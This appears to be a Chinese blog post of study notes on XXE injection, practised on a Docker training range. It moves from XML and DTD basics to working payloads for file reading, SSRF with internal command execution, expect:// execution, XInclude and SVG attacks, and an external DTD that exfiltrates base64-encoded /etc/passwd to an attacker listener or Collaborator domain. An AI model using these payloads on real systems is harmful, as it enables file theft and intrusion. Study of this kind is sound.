XXE漏洞学习

学习视频:https://www.bilibili.com/video/BV1eFnhzjEUU/?spm_id_from=333.1387.homepage.video_card.click&vd_source=525a280615063349bad5e187f6bfeec3

XXE靶场环境搭建

项目地址:https://github.com/mcc0624/XXE

1
git clone https://github.com/mcc0624/XXE

利用命令下载项目文件,或者直接访问网站下载压缩包,解压后进入目录后利用docker-compose命令搭建环境

1
docker-compose up -d

image-20250926143703241

image-20250926151110822

XML语言

什么是XML

  • XML是一种标记语言

  • 把数据结构化后(比如Excel表格)传输给对方,让对方在结构化的数据中进行读取

  • 标签没有被预定义,需要自行定义标签

    • 如下图是一段XML语言,存在根、枝、叶这三个概念,在下图中根是<root>,枝是<man>、叶是<name><age><name age>

      • 格式就是
      1
      2
      3
      4
      5
      <>
      <>
      <></>
      </>
      </>
    • 注意虽然是叫根,但不代表一定是写成<root>的,这个的名字是随便起的,这个标签是没有意义的,不同于 HTML 中的有意义的标签

      image-20250926141504207

    • 例子:

      • 根节点:学生信息列表
      • 枝节点:学生
      • 叶节点:名字、年龄、学号
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      <?xml version="1.0" encoding="utf-8"?>
      <学生信息列表>
      <学生>
      <名字>张三</名字>
      <年龄>19</年龄>
      <学号>20240420001</学号>
      </学生>
      <学生>
      <名字>李四</名字>
      <年龄>20</年龄>
      <学号>20240420002</学号>
      </学生>
      </学生信息列表>

XML和HTML的区别

XML HTML
功能:数据传输读取 功能:开发
标签无意义 标签预定义
传输和存储数据 显示数据
  • HTML的标签有功能性:如h1/h2可以影响字体的大小
1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<h1>test</h1>
<h2>test</h2>
</body>
</html>

image-20250926144757873

  • XML的标签没有这种功能,标签可以随便写
1
2
3
4
<root>
<h1>test</h1>
<h2>test</h2>
</root>

image-20250926144934418

XML基本语法

  • XML的标签没有功能性,可以随便写,没有预定义的

    • <名字>张三</名字>
      
      1
      2
      3
      4
      5

      - **所有的XML标签必须关闭**

      - ```
      <h1>test</h1>
  • XML必须正确地嵌套,嵌套要严格按照顺序

    • 错误示范:
      
      <h1><h2>test</h1></h2>
      
      1
      2
      3
      4
      5
      6
      7

      ![image-20250926145458577](image-20250926145458577.png)

      - ```xml
      正确示范:

      <h1><h2>test</h2></h1>
      ![image-20250926145542876](image-20250926145542876.png)
  • XML标签对大小写敏感

    • <Message>这是错误的</message>
      
      1
      2
      3
      4
      5

      ![image-20250926145904924](image-20250926145904924.png)

      - ```xml
      <message>这是正确的</message>
      ![image-20250926145943317](image-20250926145943317.png)
  • XML文档必须有根元素:根元素是其他所有元素的父元素

    • 错误示范:
      
      <root>root</root>
      <根元素>根元素</根元素>
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10

      ![image-20250926150222874](image-20250926150222874.png)

      - ```xml
      正确示范:
      注:再次强调这里的根元素不一定非要写成<root>,它可以随意定义

      <root>
      <根元素>根元素</根元素>
      </root>
      ![image-20250926150403256](image-20250926150403256.png)
  • XML没有缩进要求

    • 在渗透测试时建议是不换行,写成一行
  • 头声明可有可无

    • <?xml version="1.0" encoding="ISO-8859-1"?>
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18

      - 第一行是 XML 声明,定义了 XML 的版本(1.0)和所使用的编码(ISO-8859-1 = Latin-1/西欧字符集)

      - 在渗透安全中,具体还是看提交时它本来带不带,保持一致即可

      - **实体引用**

      - 在 XML 中,一些字符拥有特殊的意义

      - 如:把字符`<`放在 XML 元素中,会发生错误,因为解析器会把它当作新元素的开始

      - ```
      错误示范:

      <?xml version="1.0" encoding="UTF-8"?>
      <root>
      <man>1<2</man>
      </root>
      ![image-20250926174658784](image-20250926174658784.png)
    • 在 XML 中,有 5 个预定义的实体引用:

      实体字符 原始字符 字符含义
      &lt < 大于
      &gt > 小于
      &amp & 和号
      &apos 单引号
      &quot 引号
    • 注:在 XML 中,只有字符<&确实是非法的,大于号>是合法的,但是用实体引用来代替它是个好习惯

    • 正确示范:
      
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
          <man>1&lt;2</man>
      </root>
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12

      ![image-20250926175516031](image-20250926175516031.png)

      # 使用PHP解析XML

      ## 使用simplexml_load_file()函数读取XML文档

      ```php
      <?php
      $xml = simplexml_load_file("student.xml");
      print_r($xml);
      ?>
  • simplexml_load_file()函数把 XML 文档载入对象中

  • print_r打印显示变量$xml

image-20250926193008236

这里读取到的就是一个Object对象,里面有个数组,有两个内容0和1,分别对应一个Object对象,其中有两个成员属性:nameage

可以调用读取到程咬金的名字,利用面向对象的知识

1
2
3
4
<?php
$xml = simplexml_load_file("student.xml");
echo $xml->man[0]->name;
?>

image-20250926193547118

调用读取到赵云的年龄

1
2
3
4
<?php
$xml = simplexml_load_file("student.xml");
echo $xml->man[1]->age;
?>

image-20250926193910588

使用DOMDocument读取XML文档

数据通常以 POST 方式把字符串提交进去,以 XML 结构提交给目标网站,再通过 PHP 伪协议读取内容,进行 XML 解析

student.xml内容:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<root>
<man>
<name>程咬金</name>
<age>2000</age>
</man>
<man>
<name>赵云</name>
<age>2021</age>
</man>
</root>

index.php内容:

1
2
3
4
5
6
<?php
$xml = file_get_contents("student.xml");
$doc = new DOMDocument();
$doc->loadXML($xml);
print_r($doc->saveXML());
?>

DOMDocument()是一个类,需要先实例化为对象,然后可以使用其中的loadXML()方法加载XML内容,利用saveXML()方法将其转化为 XML 格式的字符串返回

image-20250926200023697

image-20250926195607878

index.php的代码还可以简写成直接使用load()方法加载student.xml的XML内容到DOM对象中,再使用saveXML()转化为XML格式的字符串

1
2
3
4
5
<?php
$doc = new DOMDocument();
$doc->load("student.xml");
print_r($doc->saveXML());
?>

image-20250926200020412

image-20250926195953623

然后是具体读取程咬金名字

1
2
3
4
5
<?php
$doc = new DOMDocument();
$doc->load("student.xml");
echo $doc->getElementsByTagName("name")->item(0)->nodeValue;
?>
  • getElementsByTagName("name"):获取 XML 文档中所有名为<name>的标签,返回一个DOMNodeList集合
  • item(0):获取集合中的第一个元素(索引从 0 开始)
  • nodeValue:获取该节点(标签)包含的文本内容

image-20250926200304972

还可以混合使用读取

1
2
3
4
5
6
<?php
$doc = new DOMDocument();
$doc->load("student.xml");
$doc2 = simplexml_import_dom($doc);
print_r($doc2);
?>

image-20250926200822897

1
2
3
4
5
6
<?php
$doc = new DOMDocument();
$doc->load("student.xml");
$doc2 = simplexml_import_dom($doc);
echo $doc2->man[0]->name;
?>

image-20250926200911844

DTD声明

什么是DTD

DTD 全称 Document Type Definition(文档类型定义),可定义合法的 XML 文档构建模块,使用一系列合法的元素来定义文档的结构

在 XML 中可以自定义标记,DTD 用来定义我们自己定义的、标记的含义,我们自己定义元素的相关属性的文档,规定、约束 XML 规则的定义和陈述

DTD 可被成行地声明于 XML 文档中,也可以作为外部引用

内部地 DOCTYPE 声明

没有 DTD 时 XML 文件可以随意定义添加标签

DOCTYPE 用来约束 XML 规则,格式:

1
<!DOCTYPE 根元素 [元素声明]>

举例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root (man)>
<!ELEMENT man (name,age,high)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT high (#PCDATA)>
]>
<root>
<man>
<name>露娜</name>
<age>18</age>
<high>180</high>
<sex>women</sex>
</man>
</root>
  • !DOCTYPE定义约束
  • !ELEMENT定义元素
  • root下面只能有man一个子节点
  • man下面只能有name,age,high
  • #PCDATA表明nameagehigh下面只能是字符串

image-20250926203255181

其他的:

  • !ATTLIST定义元素的属性
  • !NOTATION定义不被解释为元素或属性的符号
  • !ENTITY定义实体,这些实体可以在 XML 文档中被引用

如果有个没有定义的标签<sex>,会发现出现爆红了

image-20250927201649618

不过可以访问看到

image-20250927201744618

外部引用DTD文件

创建一个1.dtd文件

1
2
3
4
5
<!ELEMENT root (man)>
<!ELEMENT man (name,age,high)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT high (#PCDATA)>

student.xml内容:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root SYSTEM "1.dtd">
<root>
<man>
<name>露娜</name>
<age>18</age>
<high>180</high>
<sex>women</sex>
</man>
</root>

可以写相对路径,也可以是绝对路径,可以发现<sex>women</sex>是爆红了的

image-20250927201509404

但是是可以正常访问看到

image-20250927201601370

SYSTEM不仅可以读取 DTD 声明,也可以读取到其他外部文件(如:/etc/passwd),就是在有权限的情况下可以任意文件读取,这是 XXE 漏洞产生的主要原因

XML实体

什么是实体

实体是对数据的引用,根据实体种类的不同,XML 解释器将使用实体的替代文本或者外部文档的内容来替代实体引用

使用实体可以去掉符号的含义

实体类别有:字符实体、命名实体、外部实体、参数实体

所有的实体(除参数实体外)都以一个与字符(&)开始,以一个分号(;)结束

  • **字符实体:**约定俗成的符号如&lt&gt&amp&apos&quot

  • **命名实体:**可以理解为给一个变量赋值,如<!ENTITY writer "benben">

    • <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE author [
              <!ELEMENT author (#PCDATA)>
              <!ENTITY writer "benben">
              ]>
      
      <author>&writer;</author>
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14

      - ![image-20250927205415050](image-20250927205415050.png)

      - 可以迭代调用,引用实体的实体:

      - ```
      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE author [
      <!ELEMENT author (#PCDATA)>
      <!ENTITY writer "benben">
      <!ENTITY copyright "&writer;">
      ]>

      <author>&copyright;</author>
    • image-20250927205910214

  • **外部实体:**XXE 漏洞产生的主要原因,外部调用文件

  • **参数实体:**参数实体的目的是能够创建替换文本的可重用部分(无回显 XXE 时会用到)

    • 原本的代码:

    • <!DOCTYPE author [
              <!ELEMENT residence (name, street, pincode, city, phone)>
              <!ELEMENT apartment (name, street, pincode, city, phone)>
              <!ELEMENT office (name, street, pincode, city, phone)>
              <!ELEMENT shop (name, street, pincode, city, phone)>
              ]>
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11

      - 使用参数实体可以便捷:

      - ```xml
      <!DOCTYPE author [
      <!ENTITY % area "name, street, pincode, city, phone">
      <!ELEMENT residence (%area;)>
      <!ELEMENT apartment (%area;)>
      <!ELEMENT office (%area;)>
      <!ELEMENT shop (%area;)>
      ]>
    • %强调这是参数实体,用% ;调用,且只能在 DTD 被引用

XXE漏洞成因

XXE(XML External Injection)全程为 XML 外部实体注入

外部实体,用来引入外部资源:实体来自 SYSTEM 本地资源 PUBLIC 公共计算机

DTD(Document Type Definition)文档类型定义用于定义 XML 文档的结构

漏洞示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
// 调用PHP中input伪协议
$xml = file_get_contents('php://input');
if(isset($xml)){
// DOMDocument()读取XML结构
$dom = new DOMDocument();
// loadXML加载XML内容
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
// simplexml_import_dom调用$dom
$creds = simplexml_import_dom($dom);
// 展示admin分支
$benben = $creds->admin;
echo $benben;
}
highlight_file(__FILE__);
?>

利用bp抓包,请求方法改为 POST,请求头Content-Type改为application/xml;charset=utf-8

image-20251003154754995

1
<root><admin>benben</admin></root>

注意构造payload的时候尽量不要用换行符

image-20251003155001837

根节点可以随便构造,不一定是<root>,但是枝节点一定是<admin>

image-20251003155156569

根节点名可以随便换

image-20251003155355328

枝节点只能是admin,因为看源码中$benben = $creds->admin;读取的就是admin这个节点

调用外部实体和file伪协议可以读取内部文件

1
<!DOCTYPE root [<!ENTITY ben SYSTEM "file:///etc/passwd">]><root><admin>&ben;</admin></root>

image-20251003155954940

不同程序中的XML

不同程序支持的协议不同

LIBXML2 PHP JAVA NET
file file file file
http http http http
ftp ftp https https
php ftp ftp
compree.Zlib jar
compree.bzip2 netdoc
data mailto
glob gopher
phar

XXE使用外部实体读取文件

利用XXE使用外部实体检索文件

1
<!DOCTYPE root [<!ENTITY ben SYSTEM "file:///etc/passwd">]>

靶场演示

如一个登录界面,随便输入错误的用户名和密码是admin 登录失败

image-20251003161144968

输入正确的用户名admin和密码admin会显示admin 登录成功

image-20251003161420886

注意登录成功和登录失败的回显都是带有用户名的

判断是否可能存在XXE漏洞

1. 查看网页源代码

很容易可以看出是提交的是 XML 格式

image-20251003161702495

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<script type='text/javascript'> 
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " 登录失败!");
}else if(code == "1"){
$(".msg").text(msg + " 登录成功!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
</script>

提交的格式就是:

1
<user><username>" + username + "</username><password>" + password + "</password></user>

2. 使用bp抓包

一眼就可以看出是提交的 XML 格式

image-20251003161848343

这里回复的就是code和用户名username,这里就存在 XXE 漏洞了

测试是否可能存在XXE漏洞

构造payload

1
<!DOCTYPE root[<!ENTITY ben SYSTEM "file:///etc/passwd">]><user><username>&ben;</username><password>password</password></user>

image-20251003162517792

看到可以利用引用外部实体读取到内部文件,就是存在 XXE 漏洞了

漏洞利用过程

1
<!DOCTYPE root [<!ENTITY ben SYSTEM "file:///etc/passwd">]>

数据提交给web服务器后,web服务器会解析提交的 XML 语句,会发现其中有 DTD 声明,然后会发现是个外部实体,然后就会通过 SYSTEM 指定的外部实体去读取文件,读取到文件后会将文件内容复制到命名的实体ben中,在调用是就使用&ben;获取到回显

image-20251003164552837

参数实体及HTTP协议的XXE利用

利用参数实体及外部实体读取文件

在该靶场中对提交的数据内容进行检测,像file://这样的伪协议的就不可以出现,如果依旧利用上面的payload就会报非法输入

image-20251003165616968

可以尝试利用命名实体读文件,但是命名实体只能在 DTD 文档内

思路就是既然不能使用file://伪协议,那就使用http://伪协议,去到第三方主机的web服务下载构造的1.dtd文件,将其赋值给参数实体

这就需要三台主机,在原本我们的attacker攻击机和 XXE 靶机这两个主机的基础上在加一个主机,可以在这第三个主机上起一个web服务1.dtd,内容就是:

1
<!ENTITY ben SYSTEM "file:///etc/passwd">

然后构造的payload就是

1
<!DOCTYPE root [<!ENTITY % dazhuang SYSTEM "http://x.x.x.x/1.dtd"> %dazhuang;]>

先通过 STYSTEM 和http://伪协议去读取到1.dtd文件中的内容,然后将其赋值给参数实体dazhuang,然后在 DTD 声明中调用一下这个参数实体,参数实体的值就是<!ENTITY ben SYSTEM "file:///etc/passwd">,最后触发ENTITY

image-20251003171408768

利用kali搭建HTTP服务

将外部实体写入到1.dtd文件中

1
2
3
cd /tmp
vim 1.dtd
<!ENTITY ben SYSTEM "file:///etc/passwd">

image-20251003172543381

开启http服务,查看 IP 地址

1
python3 -m http.server 8080

image-20251003173041586

image-20251003173054376

1
<!DOCTYPE root [<!ENTITY % dazhuang SYSTEM "http://192.168.218.150:8080/1.dtd"> %dazhuang;]><user><username>&ben;</username><password>password</password></user>

image-20251003173302615

会发现1.dtd被访问下载了

image-20251003173327333

在自己的VPS上也是一样,在/var/www/html目录下创建个1.dtd文件,内容是<!ENTITY ben SYSTEM "file:///etc/passwd">,然后去访问就行了

利用XXE进行SSRF利用

XXE 在 DTD 内可以调用 HTTP 协议 ==》 SSRF漏洞利用

SSRF攻击方式:借助主机A来发起 SSRF 攻击,通过主机A向主机B发起请求,从而获取主机B的一些信息

image-20251003194433096

使用HTTP协议测试内网网站

http://192.168.218.150/xxe03/xxe03/页面是存在 XXE 漏洞,还存在一个内网10.1.2.3,其存在RCE漏洞,但是不能被外网直接访问

image-20251003195146023

image-20251003194611793

就要通过存在XXE漏洞的页面去访问cmd主机

1
<!DOCTYPE root [<!ENTITY ben SYSTEM "http://10.1.2.3">]><user><username>&ben;</username><password>password</password></user>

image-20251003195619594

可以通过GET传参cmd进行RCE

1
<!DOCTYPE root [<!ENTITY ben SYSTEM "http://10.1.2.3?cmd=ls">]><user><username>&ben;</username><password>password</password></user>

image-20251003195932226

然后就可以cat flag,中间的空格使用+或者%20代替

1
<!DOCTYPE root [<!ENTITY ben SYSTEM "http://10.1.2.3?cmd=cat+flag">]><user><username>&ben;</username><password>password</password></user>

image-20251003200109347

XXE利用PHP伪协议读取文件

相比较file伪协议,PHP伪协议可以对读取出的文件进行数据编码

  • 直接读取目标主机上的文件
  • 使用SSRF读取目标主机上的文件的源码

image-20251003200759508

1
<!DOCTYPE root [<!ENTITY ben SYSTEM "http://10.1.2.3?cmd=cat+index.php">]><user><username>&ben;</username><password>password</password></user>

image-20251003201036877

这里想要读取到index.php文件的源码,但是会发现读取不到,内容显示不出来

这就需要利用PHP伪协议对其源码进行base64编码就可以输出出来

1
<!DOCTYPE root [<!ENTITY ben SYSTEM "php://filter/read=convert.base64-encode/resource=http://10.1.2.3?cmd=cat+index.php">]><user><username>&ben;</username><password>password</password></user>

image-20251003201436115

image-20251003201444875

利用expect扩展进行命令执行

expect协议

**expect://:**处理交互式的流

expect://封装协议打开的数据流PTY通过提供了对进程stdiostdoutstderr的访问

expect://封装协议默认未开启,为了使用,必须靶机中安装有效的Expect扩展

filephp协议使用失败时,可以尝试expect://封装协议

以下字符会被拒绝,PHP的XML的解析器会出错,即使进行编码也是无法执行的

不过其中的空格还是可以绕过的:$IFS就可以绕过

image-20251003203813728

靶场演示

image-20251003203132960

这里不能使用filephp伪协议了,就要考虑使用expect封装协议

进行命令执行

1
<!DOCTYPE root [<!ENTITY xxe SYSTEM "expect://id">]><user><username>&xxe;</username><password>admin</password></user>

image-20251003203712081

读文件

1
<!DOCTYPE root [<!ENTITY xxe SYSTEM "expect://cat$IFS/etc/passwd">]><user><username>&xxe;</username><password>admin</password></user>

image-20251003204230976

无回显XXE带外数据

XXE漏洞利用过程:

image-20251003235921230

如果无回显,收不到消息怎么办?

无回显XXE步骤

1. 验证XXE漏洞是否存在

DNSLog查看漏洞

插入DNS查询动作

通过HTTP协议去访问域名,从而让主机去尝试DNS解析这个域名,这样就会有DNS解析记录,所有可以根据能不能解析域名,从而判断目标主机是否存在XXE漏洞

这里的网站域名可以利用DNSLog网站,也可以用bp中的Collaborator模块(比DNSLog网站更好一些),直接点击复制到剪切板就行

image-20251004001141633

DNSLog的原理时利用 DNS 协议的特性,将需要收集的信息编码成 DNS 查询请求,然后将请求发送到 DNS 服务器,最后通过 DNS 服务器的响应来获取信息

  1. 查看DNSLog信息
  2. 接收 HTTP 请求数据带外内容

image-20251004001912937

看正常打 XXE 的payload,是没有回显的

1
<!DOCTYPE root [<!ENTITY ben SYSTEM "file:///etc/passwd">]><user><username>&ben</username><password>admin</password></user>

image-20251004002013269

所以要先判断是否存在 XXE 漏洞

payload

1
<!DOCTYPE root [<!ENTITY % file SYSTEM "http://hsdtigvskh3ulv7q2dphi41ozf5bt2hr.oastify.com">%file;]>

定义参数实体file,并直接调用%file,执行http://协议,访问网站

image-20251004004100056

image-20251004004122596

发送请求,然后就可以在Collaborator中点击立即轮询,就可以看到是尝试去访问域名,对域名做了 DNS 解析,所以是存在 XXE 漏洞的

再写入一个benben

1
<!DOCTYPE root [<!ENTITY % file SYSTEM "http://hsdtigvskh3ulv7q2dphi41ozf5bt2hr.oastify.com/benben">%file;]>

image-20251004004330628

开启HTTP服务监听端口

如果目标主机不能进行 DNS 解析的话,可以在自己的 VPS 上开启 HTTP 服务监听端口,抓取 HTTP 请求 GET 连接内容,如果可以抓取到,就代表目标主机是去访问了我的 VPS,存在 XXE 漏洞

先在 VPS 上开启个监听服务

image-20251004003247566

然后构造payload去访问2333这个端口

1
<!DOCTYPE root [<!ENTITY % file SYSTEM "http://x.x.x.x:x">%file;]><user><username>&ben</username><password>admin</password></user>

image-20251004003457032

然后就会发现成功抓取到了GET请求

image-20251004003526947

2. 带外数据

错误示范

构造payload

1
<!DOCTYPE test[<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % send SYSTEM "http://hsdtigvskh3ulv7q2dphi41ozf5bt2hr.oastify.com/%file;">%send;]>

定义两个参数实体,第一个参数实体就是去读取文件,第二个参数实体就是将读取到的文件内容发送出来,就是去访问一个网站,并后面跟着%file;,就是将读取到的内容发送给这个网站,这样看来似乎没毛病,但是会发现实际上执行后响应太快并没有任何反馈信息,说明 XML 语句没有执行成功

image-20251004005230371

image-20251004005237356

失败的原因就是:内部 DTD 禁止参数实体内再次调用参数实体

在上面构造的payload中,在第二个参数实体send中再次调用了定义的第一个参数实体file,这是不能调用的

正确示范

突破口:外部 DTD 可以重复调用参数实体,允许参数实体调用其他参数实体

这里就可以参考上面的 “参数实体及HTTP协议的XXE利用” 这部分的内容,逻辑如下

image-20251004010246409

需要用到三个主机,依旧是在第三个主机上放一个1.dtd文件,内容是两段ENTITY

1
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"><!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://192.168.218.150:2333/?p=%file;'>">
  • 带外的时候如果有换行符的情况下,就会出现换行符后面的内容不显示的情况,所以要使用php://filter伪协议将所有内容进行编码后带外出来
  • &#x25;就是%,这里是将其包裹进去的,要写一个实体进去,才能被解析为百分号
  • 访问的网址就是第三个主机的IP,这里是用的kali,就是将file读取到的内容利用GET发送到kali的2333端口

image-20251004132327127

然后在kali上开启个监听服务

image-20251004132725891

还有在kali开启个web页面

image-20251004014046525

image-20251004011727031

然后就是我们的攻击机发送的数据:

1
<!DOCTYPE conver [<!ENTITY % remote SYSTEM "http://192.168.218.150:8080/1.dtd">%remote; %int; %send;]>

这个payload的意思就是

  • 先执行remote这个参数实体,就是去http://192.168.218.150:8080/下载1.dtd文件,然后 DTD 文档就会变成:
1
<!DOCTYPE conver [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"><!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://192.168.218.150:2333/?p=%file;'>">%int; %send;]>
  • 然后触发int这个参数实体,就是将<!ENTITY &#x25; send SYSTEM 'http://192.168.218.150:2333/?p=%file;'>从一句话变成一段代码,这时 DTD 文档就会变成
1
<!DOCTYPE conver [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"><!ENTITY % send SYSTEM 'http://192.168.218.150:2333/?p=%file;'>%send;]>
  • 最后就是调用send参数实体,在其中调用file参数实体,将其内容发送到监听的那个端口上
  • file参数实体的内容就是读取到的/etc/passwd这个文件的内容

发送请求

image-20251004132447003

image-20251004132558025

可以看到1.dtd文件被下载下来了,还有发送到2333端口的文件内容,base64解码即可

image-20251004132823256

如果目标靶机可以进行DNS解析,就可以使用Collaborator

1.dtd内容:

1
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"><!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://3imf82lea3tgbhxcszf38qrap1vxjv7k.oastify.com/?p=%file;'>">

发送的POC:

1
<!DOCTYPE conver [<!ENTITY % remote SYSTEM "http://192.168.218.150:8080/1.dtd">%remote; %int; %send;]>

image-20251004134629306

Xinclude

什么是Xinclude

XInclude是 XML 标准的一部分,用于在一个 XML 文档中包含另一个 XML 文档的内容。它类似于编程中的”引入”或”导入”功能,有助于更好地组织和重用 XML 内容。

主要用途:

  • 内容重用:将通用内容放在单独文件中,在多个文档中引用
  • 模块化管理:将大型 XML 文档拆分为多个小文件,便于维护
  • 简化更新:修改被包含的文件,所有引用它的文档都会自动更新

文件包含可以使代码更整洁,我们可以将定义的功能函数放在function.php中,再在需要使用功能函数的文件中使用include包含function.php,这样就避免了重复冗余的函数定义,同样可以增加代码的可读性

xinclude可以包含一个 XML 文件,调用一个写好的 XML 文件

如:

page.xml文件内容

1
2
3
4
5
6
<?xml version="1.0"?>
<webpage>
<body>Hello World!</body>
<xi:include href="templates/footer.xml"/>
<root xmlns:xi="http://www.w3.org/2003/XInclude">
</webpage>

就是调用templates目录下的footer.xml文件

footer.xml文件内容:

1
<footer>你好,世界</footer>

最后page.xml内容就是

1
2
3
4
5
<?xml version="1.0"?>
<webpage>
<body>Hello World!</body>
<footer>你好,世界</footer>
</webpage>

Xinclude功能展示:

image-20251004140230779

Xinclude与外部实体的区别

名称 区别
外部实体 无法成为一个成熟的独立的 XML 文档,因为它不允许独立的 XML 声明,也不允许 Doctype 声明,外部实体就相当于起个外号
Xinclude 可以调用一个独立完整的 XML 内容,xinclude相当于一个日记本

Xinclude与PHP文件包含的区别

名称 区别
PHP文件包含 include直接调用函数:<?php include('file.php');?>
Xinclude 使用时前面需要做一个前缀声明(命名空间):<root xmlns:xi="http://www.w3.org/2003/XInclude">

安全风险

image-20251004141411776

靶场演示

image-20251004141658393

1
<root xmlns:xi="http://www.w3.org/2003/XInclude"><xi:include href="/etc/passwd" parse="text"/></root>

image-20251004142209041

使用SVG进行漏洞利用

什么是SVG

可缩放矢量图形(Scalable Vector Graphics,SVG)基于 XML 标记语言,用于描述二维的矢量图形

SVG 是一种图片格式

作为一个基于文本的开放网络标准,SVG 能够优雅而简介的渲染不同大小的图形,并和CSS、DOM、JavaScript 和 SMIL 等其他网络标准无缝衔接

本质上 SVG 相对于图像,就好比 HTML 相对于文本

SVG 图像及其相关行为被定义于 XML 文本文件中,这意味着可以对它们进行搜索、索引、编写脚本以及压缩。此外,这也意味着可以使用任何文本编辑器和绘图软件来创建和编辑它们

可以通过 SVG 文件进行 XXE 漏洞利用,从而读取对方文件

靶场演示

image-20251004143155236

1
2
3
4
5
6
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:/etc/passwd">
]>
<svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text></svg>
  • 首先是 XML 声明,版本是1.0,standalone="yes"代表是一个独立的 XML 文档,没有外部 DTD 引用
  • 然后做一个内部的 DTD 声明,去读取flag.txt文件
  • 接着是一个 SVG 的声明
  • 可以通过更改width="500px" height="100px"来调整文件大小从而可以读取到完整的内容

上传构造好的 SVG 文件

image-20251004150349423


XXE漏洞学习
https://yschen20.github.io/2025/10/04/XXE漏洞学习/
作者
Suzen
发布于
2025年10月4日
更新于
2025年10月4日
许可协议